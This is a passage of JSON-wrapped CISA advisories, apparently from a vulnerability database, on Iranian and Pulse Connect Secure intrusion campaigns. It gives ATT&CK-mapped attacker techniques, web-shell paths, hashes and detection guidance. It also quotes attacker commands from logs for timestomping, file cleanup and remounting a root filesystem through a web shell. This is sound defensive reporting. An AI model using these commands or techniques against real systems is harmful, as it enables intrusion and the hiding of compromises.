Ministry of State Security-Affiliated Cyber Threat Actor Activity", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-0688", "CVE-2020-5902"], "modified": "2020-10-24T12:00:00", "id": "AA20-258A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-258a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-03-14T18:34:20", "description": "### Summary\n\n_This Alert uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK\u00ae) framework. See the [ATT&CK for Enterprise](<https://attack.mitre.org/matrices/enterprise/>) framework for all referenced threat actor techniques._\n\nThis product was written by the Cybersecurity and Infrastructure Security Agency (CISA) with contributions from the Federal Bureau of Investigation (FBI). CISA and FBI are aware of an Iran-based malicious cyber actor targeting several U.S. federal agencies and other U.S.-based networks. Analysis of the threat actor\u2019s indicators of compromise (IOCs) and tactics, techniques, and procedures (TTPs) indicates a correlation with the group known by the names, Pioneer Kitten and UNC757. This threat actor has been observed exploiting several publicly known Common Vulnerabilities and Exposures (CVEs) dealing with Pulse Secure virtual private network (VPN), Citrix NetScaler, and F5 vulnerabilities. This threat actor used these vulnerabilities to gain initial access to targeted networks and then maintained access within the successfully exploited networks for several months using multiple means of persistence.\n\nThis Advisory provides the threat actor\u2019s TTPs, IOCs, and exploited CVEs to help administrators and network defenders identify a potential compromise of their network and protect their organization from future attacks.\n\n[Click here](<https://us-cert.cisa.gov/sites/default/files/publications/AA20-259A-Iran-Based_Threat_Actor_Exploits_VPN_Vulnerabilities_S508C.pdf>) for a PDF version of this report.\n\n### Technical Details\n\nCISA and FBI are aware of a widespread campaign from an Iran-based malicious cyber actor targeting several industries mainly associated with information technology, government, healthcare, financial, insurance, and media sectors across the United States. The threat actor conducts mass-scanning and uses tools, such as Nmap, to identify open ports. Once the open ports are identified, the threat actor exploits CVEs related to VPN infrastructure to gain initial access to a targeted network. CISA and the FBI have observed the threat actor exploiting multiple CVEs, including CVE-2019-11510, CVE-2019-11539, CVE-2019-19781, and CVE-2020-5902.\n\nAfter gaining initial access to a targeted network, the threat actor obtains administrator-level credentials and installs web shells allowing further entrenchment. After establishing a foothold, the threat actor\u2019s goals appear to be maintaining persistence and exfiltrating data. This threat actor has been observed selling access to compromised network infrastructure in an online hacker forum. Industry reporting indicates that the threat actor operates as a contractor supporting Iranian government interests, but the malicious activity appears to also serve the threat actor\u2019s own financial interests. The FBI notes this threat actor has the capability, and likely the intent, to deploy ransomware on victim networks.\n\nCISA and FBI have observed this Iran-based threat actor relying on exploits of remote external services on internet-facing assets to gain initial access to victim networks. The threat actor also relies heavily on open-source and operating system (OS) tooling to conduct operations, such as ngrok; fast reverse proxy (FRP); Lightweight Directory Access Protocol (LDAP) directory browser; as well as web shells known as ChunkyTuna, Tiny, and China Chopper.\n\nTable 1 illustrates some of the common tools this threat actor has used.\n\n_Table 1: Common exploit tools_\n\nTool\n\n| \n\nDetail \n \n---|--- \n \nChunkyTuna web shell\n\n| ChunkyTuna allows for chunked transfer encoding hypertext transfer protocol (HTTP) that tunnels Transmission Control Protocol (TCP) streams over HTTP. The web shell allows for reverse connections to a server with the intent to exfiltrate data. \n \nTiny web shell\n\n| Tiny uses Hypertext Preprocessor (PHP) to create a backdoor. It has the capability to allow a threat actor remote access to the system and can also tunnel or route traffic. \n \nChina Chopper web shell\n\n| China Chopper is a web shell hosted on a web server and is mainly used for web application attacks; it is configured in a client/server relationship. China Chopper contains security scanners and can be used to upload files and brute-force passwords. \nFRPC | FRPC is a modified version of the open-source FRP tool. It allows a system\u2014inside a router or firewall providing Network Address Translation\u2014to provide network access to systems/operators located outside of the victim network. In this case, FRPC was used as reverse proxy, tunneling Remote Desktop Protocol (RDP) over Transport Layer Security (TLS), giving the threat actor primary persistence. \nChisel | Chisel is a fast TCP tunnel over HTTP and secured via Secure Shell (SSH). It is a single executable that includes both client and server. The tool is useful for passing through firewalls, but it can also be used to provide a secure form of communication to an endpoint on a victim network. \nngrok | ngrok is a tool used to expose a local port to the internet. Optionally, tunnels can be secured with TLS. \nNmap | Nmap is used for vulnerability scanning and network discovery. \nAngry IP Scanner | Angry IP Scanner is a scanner that can ping a range of Internet Protocol (IP) addresses to check if they are active and can also resolve hostnames, scan ports, etc. \nDrupwn | Drupwn is a Python-based tool used to scan for vulnerabilities and exploit CVEs in Drupal devices. \n \nNotable means of detecting this threat actor:\n\n * CISA and the FBI note that this group makes significant use of ngrok, which may appear as TCP port 443 connections to external cloud-based infrastructure.\n * The threat actor uses FRPC over port 7557.\n * [Malware Analysis Report MAR-10297887-1.v1](<https://us-cert.cisa.gov/ncas/analysis-reports/ar20-259a>) details some of the tools this threat actor used against some victims.\n\nThe following file paths can be used to detect Tiny web shell, ChunkyTuna web shell, or Chisel if a network has been compromised by this attacker exploiting CVE-2019-19781.\n\n * Tiny web shell\n\n` /netscaler/ns_gui/admin_ui/rdx/core/css/images/css.php \n/netscaler/ns_gui/vpn/images/vpn_ns_gui.php \n/var/vpn/themes/imgs/tiny.php`\n\n * ChunkyTuna web shell\n\n` /var/vpn/themes/imgs/debug.php \n/var/vpn/themes/imgs/include.php \n/var/vpn/themes/imgs/whatfile`\n\n * Chisel\n\n` /var/nstmp/chisel`\n\n### MITRE ATT&CK Framework\n\n#### Initial Access\n\nAs indicated in table 2, the threat actor primarily gained initial access by using the publicly available exploit for CVE-2019-19781. From there, the threat actor used the Citrix environment to establish a presence on an internal network server.\n\n_Table 2: Initial access techniques_\n\nID\n\n| \n\nTechnique/Sub-Technique\n\n| \n\nContext \n \n---|---|--- \n \n[T1190](<https://attack.mitre.org/techniques/T1190/>)\n\n| Exploit Public-Facing Application | The threat actor primarily gained initial access by compromising a Citrix NetScaler remote access server using a publicly available exploit for CVE-2019-19781. The threat actor also exploited CVE-2019-11510, CVE-2019-11539, and CVE-2020-5902. \n \n#### Execution\n\nAfter gaining initial access, the threat actor began executing scripts, as shown in table 3.\n\n_Table 3: Execution techniques_\n\nID\n\n| \n\nTechnique/Sub-Technique\n\n| \n\nContext \n \n---|---|--- \n \n[T1059.001](<https://attack.mitre.org/techniques/T1059/001/>)\n\n| Command and Scripting Interpreter: PowerShell | A PowerShell script (`keethief` and `kee.ps1`) was used to access KeePass data. \n \n[T1059.003](<https://attack.mitre.org/techniques/T1059/003/>)\n\n| Command and Scripting Interpreter: Windows Command Shell | `cmd.exe` was launched via sticky keys that was likely used as a password changing mechanism. \n \n#### Persistence\n\nCISA observed the threat actor using the techniques identified in table 4 to establish persistence.\n\n_Table 4: Persistence techniques_\n\nID\n\n| \n\nTechnique/Sub-Technique\n\n| \n\nContext \n \n---|---|--- \n \n[T1053.003](<https://attack.mitre.org/techniques/T1053/003/>)\n\n| Scheduled Task/Job: Cron | The threat actor loaded a series of scripts to `cron` and ran them for various purposes (mainly to access NetScaler web forms). \n \n[T1053.005](<https://attack.mitre.org/techniques/T1053/005/>)\n\n| Scheduled Task/Job: Scheduled Task | The threat actor installed and used FRPC (`frpc.exe`) on both NetScaler and internal devices. The task was named `lpupdate` and the binary was named `svchost`, which was the reverse proxy. The threat actor executed this command daily. \n \n[T1505.003](<https://attack.mitre.org/techniques/T1505/003/>)\n\n| Server Software Component: Web Shell | The threat actor used several web shells on existing web servers. Both NetScaler and web servers called out for ChunkyTuna. \n \n[T1546.008](<https://attack.mitre.org/techniques/T1546/008/>)\n\n| Event Triggered Execution: Accessibility Features | The threat actor used sticky keys (`sethc.exe`) to launch `cmd.exe`. \n \n#### Privilege Escalation\n\nCISA observed no evidence of direct privilege escalation. The threat actor attained domain administrator credentials on the NetScaler device via exploit and continued to expand credential access on the network.\n\n#### Defense Evasion\n\nCISA observed the threat actor using the techniques identified in table 5 to evade detection.\n\n_Table 5: Defensive evasion techniques_\n\nID\n\n| \n\nTechnique/Sub-Technique\n\n| \n\nContext \n \n---|---|--- \n \n[T1027.002](<https://attack.mitre.org/techniques/T1027/002/>)\n\n| Obfuscated Files or Information: Software Packing | The threat actor used base64 encoding for payloads on NetScaler during initial access, making the pre-compiled payloads easier to avoid detection. \n \n[T1027.004](<https://attack.mitre.org/techniques/T1036/004/>)\n\n| Obfuscated Files or Information: Compile After Delivery | The threat actor used base64 encoding schemes on distributed (uncompiled) scripts and files to avoid detection. \n \n[T1036.004](<https://attack.mitre.org/techniques/T1245/>)\n\n| Masquerading: Masquerade Task or Service | The threat actor used FRPC (`frpc.exe`) daily as reverse proxy, tunneling RDP over TLS. The FRPC (`frpc.exe`) task name was `lpupdate` and ran out of Input Method Editor (IME) directory. In other events, the threat actor has been observed hiding activity via ngrok. \n \n[T1036.005](<https://attack.mitre.org/techniques/T1036/005/>)\n\n| Masquerading: Match Legitimate Name or Location | The FRPC (`frpc.exe`) binary name was `svchost`, and the configuration file was `dllhost.dll`, attempting to masquerade as a legitimate Dynamic Link Library. \n \n[T1070.004](<https://attack.mitre.org/techniques/T1070/004/>)\n\n| Indicator Removal on Host: File Deletion | To minimize their footprint, the threat actor ran `./httpd-nscache_clean` every 30 minutes, which cleaned up files on the NetScaler device. \n \n#### Credential Access\n\nCISA observed the threat actor using the techniques identified in table 6 to further their credential access.\n\n_Table 6: Credential access techniques_\n\nID\n\n| \n\nTechnique/Sub-Technique\n\n| \n\nContext \n \n---|---|--- \n \n[T1003.001](<https://attack.mitre.org/techniques/T1003/001/>)\n\n| OS Credential Dumping: LSASS Memory | The threat actor used `procdump` to dump process memory from the Local Security Authority Subsystem Service (LSASS). \n \n[T1003.003](<https://attack.mitre.org/techniques/T1003/003/>)\n\n| OS Credential Dumping: Windows NT Directory Services (NTDS) | The threat actor used Volume Shadow Copy to access credential information from the NTDS file. \n \n[T1552.001](<https://attack.mitre.org/techniques/T1552/001/>)\n\n| Unsecured Credentials: Credentials in Files | The threat actor accessed files containing valid credentials. \n \n[T1555](<https://attack.mitre.org/techniques/T1555/>)\n\n| Credentials from Password Stores | The threat actor accessed a `KeePass` database multiple times and used `kee.ps1` PowerShell script. \n \n[T1558](<https://attack.mitre.org/techniques/T1558/>)\n\n| Steal or Forge Kerberos Tickets | The threat actor conducted a directory traversal attack by creating files and exfiltrating a Kerberos ticket on a NetScaler device. The threat actor was then able to gain access to a domain account. \n \n#### Discovery\n\nCISA observed the threat actor using the techniques identified in table 7 to learn more about the victim environments.\n\n_Table 7: Discovery techniques_\n\nID\n\n| \n\nTechnique/Sub-Technique\n\n| \n\nContext \n \n---|---|--- \n \n[T1018](<https://attack.mitre.org/techniques/T1018/>)\n\n| Remote System Discovery | The threat actor used Angry IP Scanner to detect remote systems. \n \n[T1083](<https://attack.mitre.org/techniques/T1083/>)\n\n| File and Directory Discovery | The threat actor used WizTree to obtain network files and directory listings. \n \n[T1087](<https://attack.mitre.org/techniques/T1087/>)\n\n| Account Discovery | The threat actor accessed `ntuser.dat` and `UserClass.dat` and used Softerra LDAP Browser to browse documentation for service accounts. \n \n[T1217](<https://attack.mitre.org/techniques/T1217/>)\n\n| Browser Bookmark Discovery | The threat actor used Google Chrome bookmarks to find internal resources and assets. \n \n#### Lateral Movement\n\nCISA also observed the threat actor using open-source tools such as Plink and TightVNC for lateral movement. CISA observed the threat actor using the techniques identified in table 8 for lateral movement within the victim environment.\n\n_Table 8: Lateral movement techniques_\n\nID\n\n| \n\nTechnique/Sub-Technique\n\n| \n\nContext \n \n---|---|--- \n \n[T1021](<https://attack.mitre.org/techniques/T1021/>)\n\n| Remote Services | The threat actor used RDP with valid account credentials for lateral movement in the environment. \n \n[T1021.001](<https://attack.mitre.org/techniques/T1021/001/>)\n\n| Remote Services: Remote Desktop Protocol | The threat actor used RDP to log in and then conduct lateral movement. \n \n[T1021.002](<https://attack.mitre.org/techniques/T1021/002/>)\n\n| Remote Services: SMB/Windows Admin Shares | The threat actor used PsExec. and PSEXECSVC pervasively on several hosts. The threat actor was also observed using a valid account to access SMB shares. \n \n[T1021.004](<https://attack.mitre.org/techniques/T1021/004/>)\n\n| Remote Services: SSH | The threat actor used Plink and PuTTY for lateral movement. Artifacts of Plink were used for encrypted sessions in the system registry hive. \n \n[T1021.005](<https://attack.mitre.org/techniques/T1021/005/>)\n\n| Remote Services: Virtual Network Computing (VNC) | The threat actor installed TightVNC server and client pervasively on compromised servers and endpoints in the network environment as lateral movement tool. \n \n[T1563.002](<https://attack.mitre.org/techniques/T1563/002/>)\n\n| Remote Service Session Hijacking: RDP Hijacking | The threat actor likely hijacked a legitimate RDP session to move laterally within the network environment. \n \n#### Collection\n\nCISA observed the threat actor using the techniques identified in table 9 for collection within the victim environment.\n\n_Table 9: Collection techniques_\n\nID\n\n| \n\nTechnique/Sub-Technique\n\n| \n\nContext \n \n---|---|--- \n \n[T1005](<https://attack.mitre.org/techniques/T1005/>)\n\n| Data from Local System | The threat actor searched local system sources to accessed sensitive documents. \n \n[T1039](<https://attack.mitre.org/techniques/T1039/>)\n\n| Data from Network Shared Drive | The threat actor searched network shares to access sensitive documents. \n \n[T1213](<https://attack.mitre.org/techniques/T1213/>)\n\n| Data from Information Repositories | The threat actor accessed victim security/IT monitoring environments, Microsoft Teams, etc., to mine valuable information. \n \n[T1530](<https://attack.mitre.org/techniques/T1530/>)\n\n| Data from Cloud Storage Object | The threat actor obtained files from the victim cloud storage instances. \n \n[T1560.001](<https://attack.mitre.org/techniques/T1560/001/>)\n\n| Archive Collected Data: Archive via Utility | The threat actor used 7-Zip to archive data. \n \n#### Command and Control\n\nCISA observed the threat actor using the techniques identified in table 10 for command and control (C2).\n\n_Table 10: Command and control techniques_\n\nID\n\n| \n\nTechnique/Sub-Technique\n\n| \n\nContext \n \n---|---|--- \n \n[T1071.001](<https://attack.mitre.org/techniques/T1071/001/>)\n\n| Application Layer Protocol: Web Protocols | The threat actor used various web mechanisms and protocols, including the web shells listed in table 1. \n \n[T1105](<https://attack.mitre.org/techniques/T1105/>)\n\n| Ingress Tool Transfer | The threat actor downloaded tools such as PsExec directly to endpoints and downloaded web shells and scripts to NetScaler in base64-encoded schemes. \n \n[T1572](<https://attack.mitre.org/techniques/T1572/>)\n\n| Protocol Tunneling | The threat actor used `FRPC.exe` to tunnel RDP over port 443. The threat actor has also been observed using ngrok for tunneling. \n \n#### Exfiltration\n\nCISA currently has no evidence of data exfiltration from this threat actor but assesses that it was likely due to the use of 7-Zip and viewing of sensitive documents.\n\n### Mitigations\n\n#### Recommendations\n\nCISA and FBI recommend implementing the following recommendations.\n\n * If your organization has not patched for the Citrix CVE-2019-19781 vulnerability, and a compromise is suspected, follow the recommendations in CISA Alert [AA20-031A](<https://us-cert.cisa.gov/ncas/alerts/aa20-031a>).\n * This threat actor has been observed targeting other CVEs mentioned in this report; follow the recommendations in the CISA resources provided below.\n * If using Windows Active Directory and compromise is suspected, conduct remediation of the compromised Windows Active Directory forest. \n * If compromised, rebuild/reimage compromised NetScaler devices.\n * Routinely audit configuration and patch management programs.\n * Monitor network traffic for unexpected and unapproved protocols, especially outbound to the internet (e.g., SSH, SMB, RDP).\n * Implement multi-factor authentication, especially for privileged accounts.\n * Use separate administrative accounts on separate administration workstations.\n * Implement the principle of least privilege on data access.\n * Secure RDP and other remote access solutions using multifactor authentication and \u201cjump boxes\u201d for access.\n * Deploy endpoint defense tools on all endpoints; ensure they work and are up to date.\n * Keep software up to date.\n\n### Contact Information\n\nTo report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at [www.fbi.gov/contact-us/field](<https://www.fbi.gov/contact-us/field-offices>), or the FBI\u2019s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at [CyWatch@fbi.gov](<mailto: CyWatch@fbi.gov>). When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at [central@cisa.dhs.gov](<mailto: Central@cisa.dhs.gov>).\n\n### Resources\n\n[CISA Alert AA20-031A: Detecting Citrix CVE-2019-19781](<https://us-cert.cisa.gov/ncas/alerts/aa20-031a>) \n[CISA Alert AA20-073A: Enterprise VPN Security](<https://us-cert.cisa.gov/ncas/alerts/aa20-073a>) \n[CISA Alert AA20-107A: Continued Threat Actor Exploitation Post Pulse Secure VPN Patching](<https://us-cert.cisa.gov/ncas/alerts/aa20-107a>) \n[CISA Alert AA20-206A: Threat Actor Exploitation of F5 BIG-IP CVE-2020-5902](<https://us-cert.cisa.gov/ncas/alerts/aa20-206a>) \n[CISA Security Tip: Securing Network Infrastructure Devices](<https://us-cert.cisa.gov/ncas/tips/ST18-001>)\n\n### Revisions\n\nSeptember 15, 2020: Initial Version\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-09-15T12:00:00", "type": "ics", "title": "Iran-Based Threat Actor Exploits VPN Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-11539", "CVE-2019-19781", "CVE-2020-5902"], "modified": "2020-09-15T12:00:00", "id": "AA20-259A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-259a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-03-14T18:32:17", "description": "### Summary\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) is aware of compromises affecting a number of U.S. government agencies, critical infrastructure entities, and other private sector organizations by a cyber threat actor\u2014or actors\u2014beginning in June 2020 or earlier related to vulnerabilities in certain Ivanti Pulse Connect Secure products. Since March 31, 2021, CISA and Ivanti have assisted multiple entities whose vulnerable Pulse Connect Secure products have been exploited by a cyber threat actor. These entities confirmed the malicious activity after running the [Pulse Secure Connect Integrity Tool](<https://kb.pulsesecure.net/articles/Pulse_Secure_Article/KB44755>). To gain initial access, the threat actor is leveraging multiple vulnerabilities, including [CVE-2019-11510](<https://vulners.com/cve/CVE-2019-11510>), [CVE-2020-8260](<https://vulners.com/cve/CVE-2020-8260>), [CVE-2020-8243](<https://vulners.com/cve/CVE-2020-8243>), and the newly disclosed [CVE-2021-22893](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784/>). The threat actor is using this access to place webshells on the Pulse Connect Secure appliance for further access and persistence. The known webshells allow for a variety of functions, including authentication bypass, multi-factor authentication bypass, password logging, and persistence through patching.\n\n_**(Updated May 3, 2021)**:_ Ivanti has released [Security Advisory SA44784](<https://kb.pulsesecure.net/articles/Pulse_Secure_Article/SA44784/>) addressing [CVE-2021-22893](<https://vulners.com/cve/CVE-2021-22893>) and three additional newly disclosed CVEs\u2014CVE-2021-22894, CVE-2021-22899, and CVE-2021-22900. CISA strongly encourages organizations using Ivanti Pulse Connect Secure appliances to immediately run the [Pulse Secure Connect Integrity Tool](<https://kb.pulsesecure.net/articles/Pulse_Secure_Article/KB44755>), update to the [latest software version](<https://blog.pulsesecure.net/>), and investigate for malicious activity.\n\n_**(Updated May 27. 2021):**_ CISA has updated this alert to include new threat actor techniques, tactics, and procedures (TTPs), indicators of compromise (IOCs), and updated mitigations. See Ivanti [KB44755 - Pulse Connect Secure (PCS) Integrity Assurance](<https://kb.pulsesecure.net/articles/Pulse_Secure_Article/KB44755>) for updated guidance to ensure the full integrity of your Pulse Connect Secure software.\n\n_**(Updated July 21, 2021):**_ Please see CISA's new Malware Analysis Reports in regards to adversary activity analyzed by CISA that were discovered on Pulse Connect Secure Devices.\n\n * [MAR-10333209-1.v1: Pulse Connect Secure](<https://us-cert.gov/ncas/analysis-reports/ar21-202a>)\n * [MAR-10333243-1.v1: Pulse Connect Secure](<https://us-cert.gov/ncas/analysis-reports/ar21-202b>)\n * [MAR-10334057-1.v1: Pulse Connect Secure](<https://us-cert.gov/ncas/analysis-reports/ar21-202c>)\n * [MAR-10334057-2.v1: Pulse Connect Secure](<https://us-cert.gov/ncas/analysis-reports/ar21-202d>)\n * [MAR-10334587-1.v1: Pulse Connect Secure](<https://us-cert.gov/ncas/analysis-reports/ar21-202e>)\n * [MAR-10334587-2.v1: Pulse Connect Secure](<https://us-cert.gov/ncas/analysis-reports/ar21-202f>)\n * [MAR-10335467-1.v1: Pulse Connect Secure](<https://us-cert.gov/ncas/analysis-reports/ar21-202g>)\n * [MAR-10336161-1.v1: Pulse Connect Secure](<https://us-cert.gov/ncas/analysis-reports/ar21-202h>)\n * [MAR-10336935-1.v1: Pulse Connect Secure](<https://us-cert.gov/ncas/analysis-reports/ar21-202i>)\n * [MAR-10337580-1.v1: Pulse Connect Secure](<https://us-cert.gov/ncas/analysis-reports/ar21-202j>)\n * [MAR-10337580-2.v1: Pulse Connect Secure](<https://us-cert.gov/ncas/analysis-reports/ar21-202k>)\n * [MAR-10338401-1.v1: Pulse Connect Secure](<https://us-cert.gov/ncas/analysis-reports/ar21-202l>)\n * [MAR-10338868-1.v1: Pulse Connect Secure](<https://us-cert.gov/ncas/analysis-reports/ar21-202m>)\n\n_**(Updated August 11, 2021):**_ Ivanti has released Pulse Connect Secure system software version 9.1R12 to address multiple vulnerabilities that an attacker could exploit to take control of an affected system. CISA encourages organizations to review [Security Advisory SA44858](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44858>) and apply the necessary update.\n\n_**(Updated August 24, 2021): **_Please see CISA's new Malware Analysis Reports for analysis of malicious activity discovered on Pulse Secure Connect devices.\n\n * [MAR-10336935-2.v1: Pulse Connect Secure](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-236a>)\n * [MAR-10333243-3.v1: Pulse Connect Secure](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-236b>)\n * [MAR-10338401-2.v1: Pulse Connect Secure](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-236c>)\n * [MAR-10334057-3.v1: Pulse Connect Secure](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-236d>)\n * [MAR-10339606-1.v1: Pulse Connect Secure](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-236e>)\n\nFor a downloadable list of indicators of compromise (IOCs), see AA21-110A.stix.\n\n### Technical Details\n\nOn March 31, 2021, Ivanti released the [Pulse Secure Connect Integrity Tool](<https://kb.pulsesecure.net/articles/Pulse_Secure_Article/KB44755>) to detect the integrity of Pulse Connect Secure appliances. Their technical bulletin states:\n\n_We are aware of reports that a limited number of customers have identified unusual activity on their Pulse Connect Secure (PCS) appliances. The investigation to date shows ongoing attempts to exploit vulnerabilities outlined in two security advisories that were patched in 2019 and 2020 to address previously known issues: Security Advisory SA44101 (CVE-2019-11510) and Security Advisory SA44601 (CVE- 2020- 8260). For more information visit KB44764 (Customer FAQ)._\n\n_**(Updated May 27, 2021)**:_ CISA has observed the cyber threat actor performing cleanup as demonstrated by the following:\n\n 1. Threat actor was observed timestomping trojanized umount binary to match timestamps of legitimate binaries attempting to disguise the modifications; the touch command was used to modify the time stamp https://attack.mitre.org/techniques/T1070/006/:\n\n/bin/touch /tmp/data/root/bin/umount -r /tmp/data/root/bin/cp\n\n2\\. The threat actor deleted files from temp directories using \"rm -f\": \n\n/bin/rm -f tmp1 \n/bin/rm -f tmp2\n\n3\\. Timestamps:\n\n**Note: **for context, loop 6 is the active partition and loop 8 is the rollback partition of the device.\n\n**Date ** | Time (GMT) | Partition | Artifact | Activity \n---|---|---|---|--- \n4/13/21 | 5:15:33 | pulse-loop6 | /bin/umount | Content Modification Time \n4/20/21 | 19:09:14 | pulse-loop8 | /bin/umount | Metadata Modification Time \n4/20/21 | 19:09:14 | pulse-loop8 | /bin/umount | Content Modification Time \n4/20/21 | 19:18:49 | pulse-loop6 | /bin/umount | Metadata Modification Time \n4/23/21 | 16:14:48 | pulse-loop6 | /bin/umount | Last Access Time \n5/6/21 | 14:27:20 | pulse-loop8 | /bin/umount | Last Access Time \n4/20/21 | 19:08:01 | pulse-loop6 | /bin/touch | Last Access Time \n4/20/21 | 19:09:14 | pulse-loop8 | /bin/touch | Last Access Time \n \nSecurity firm FireEye has posted more information on their blog, including activity related to actor clean up. See the FireEye blog post, [Re-Checking Your Pulse](<https://www.fireeye.com/blog/threat-research/2021/05/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices.html>), for more information, including activity related to actor cleanup.\n\nThe suspected cyber threat actor modified several legitimate Pulse Secure files on the impacted Pulse Connect Secure appliances. The modifications implemented a variety of webshell functionality:\n\n * `DSUpgrade.pm MD5`: `4d5b410e1756072a701dfd3722951907`\n * Runs arbitrary commands passed to it\n * Copies malicious code into `Licenseserverproto.cgi`\n * `Licenseserverproto.cgi MD5`: `9b526db005ee8075912ca6572d69a5d6`\n * Copies malicious logic to the new files during the patching process, allowing for persistence\n * `Secid_canceltoken.cgi MD5`: `f2beca612db26d771fe6ed7a87f48a5a`\n * Runs arbitrary commands passed via `HTTP` requests\n * `compcheckresult.cgi MD5`: `ca0175d86049fa7c796ea06b413857a3`\n * Publicly-facing page to send arbitrary commands with `ID` argument\n * `Login.cgi MD5`: `56e2a1566c7989612320f4ef1669e7d5`\n * Allows for credential harvesting of authenticated users\n * `Healthcheck.cgi MD5:` `8c291ad2d50f3845788bc11b2f603b4a`\n * Runs arbitrary commands passed via `HTTP` requests\n\nMany of the threat actor\u2019s early actions are logged in the Unauthenticated Requests Log as seen in the following format, URIs have been redacted to minimize access to webshells that may still be active:\n\n`Unauthenticated request url /dana-na/[redacted URI]?id=cat%20/home/webserver/htdocs/dana-na/[redacted URI] came from IP XX.XX.XX.XX.`\n\nThe threat actor then ran the commands listed in table 1 via the webshell.\n\n_Table 1: Commands run via webshell_\n\n**Time ** | **Command ** \n---|--- \n2021-01-19T07:46:05.000+0000 | `pwd` \n2021-01-19T07:46:24.000+0000 | `cat%20/home/webserver/htdocs/dana-na/[redacted]` \n2021-01-19T08:10:13.000+0000 | `cat%20/home/webserver/htdocs/dana-na/l[redacted]` \n2021-01-19T08:14:18.000+0000 | See Appendix. \n2021-01-19T08:15:11.000+0000 | `cat%20/home/webserver/htdocs/dana-na/[redacted]` \n2021-01-19T08:15:49.000+0000 | `cat%20/home/webserver/htdocs/dana-na/[redacted]` \n2021-01-19T09:03:05.000+0000 | `cat%20/home/webserver/htdocs/dana-na/[redacted]` \n2021-01-19T09:04:47.000+0000 | `$mount` \n2021-01-19T09:05:13.000+0000 | `/bin/mount%20-o%20remount,rw%20/dev/root%20/` \n2021-01-19T09:07:10.000+0000 | `$mount` \n \nThe cyber threat actor is using exploited devices located on residential IP space\u2014including publicly facing Network Attached Storage (NAS) devices and small home business routers from multiple vendors\u2014to proxy their connection to interact with the webshells they placed on these devices. These devices, which the threat actor is using to proxy the connection, correlate with the country of the victim and allow the actor activity to blend in with normal telework user activity. Note: these devices are not related to the Pulse vulnerabilities, but rather, where the malicious internet traffic passes through.\n\nDetails about lateral movement and post-exploitation are still unknown at this time. CISA will update this alert as this information becomes available.\n\n### (Updated April 30, 2021): Detections\n\n#### _(Updated April 30, 2021): Impossible Travel_\n\nDuring the course of analysis, it is possible that a network defender may be able to reveal illegitimate connections from users that are masquerading as legitimate users from different geolocations. CISA has noted IPs associated with malicious webshell interaction from a threat actor\u2014associated with a single username\u2014in both the authenticated and the unauthenticated logs at the same time. The geo-location for the two IP addresses was sufficiently far that impossible travel calculations could detect the threat actor IP address.\n\n#### _(Updated April 30, 2021): TLS Fingerprinting_\n\nTransport Layer Security (TLS) fingerprinting may also be useful in identifying malicious activity. CISA has noted re-use of various JA3 hashes including JA3 hashes that align with Chrome, Firefox, and others. Caution should be taken when using TLS fingerprinting because the majority of the JA3 hashes observed in connection with Pulse Connect Secure exploitation were not unique to malicious activity. The same JA3 hashes\u2014and the software they characterize\u2014are often used for benign activity, vulnerability scanning, etc. Overlap in JA3 hashes cannot be considered a high-fidelity indicator of malicious activity, let alone successful exploitation. Connections made via JA3 must be corroborated with other data points.\n\n * A common observation is that the TLS connections frequently exclude the Server Name Indication (SNI) extension, which is relatively rare in most environments where users connect to Domain Name Server (DNS) host names (but is commonly observed in scanning). It is believed this is an artifact of attackers browsing direct to IP addresses instead of host names.\n * The JA3 hashes in table 2 below have been observed in connection with a pulse secure exploitation. **Note:** there may be many User-Agents associated with a given JA3 (often due to User-Agent spoofing) and the prevalence of a given JA3 necessarily differs by environment. The prevalence column of table 2 refers to how often the specific JA3 hash was observed in the dataset that was being analyzed. Some hashes are rarely observed in the 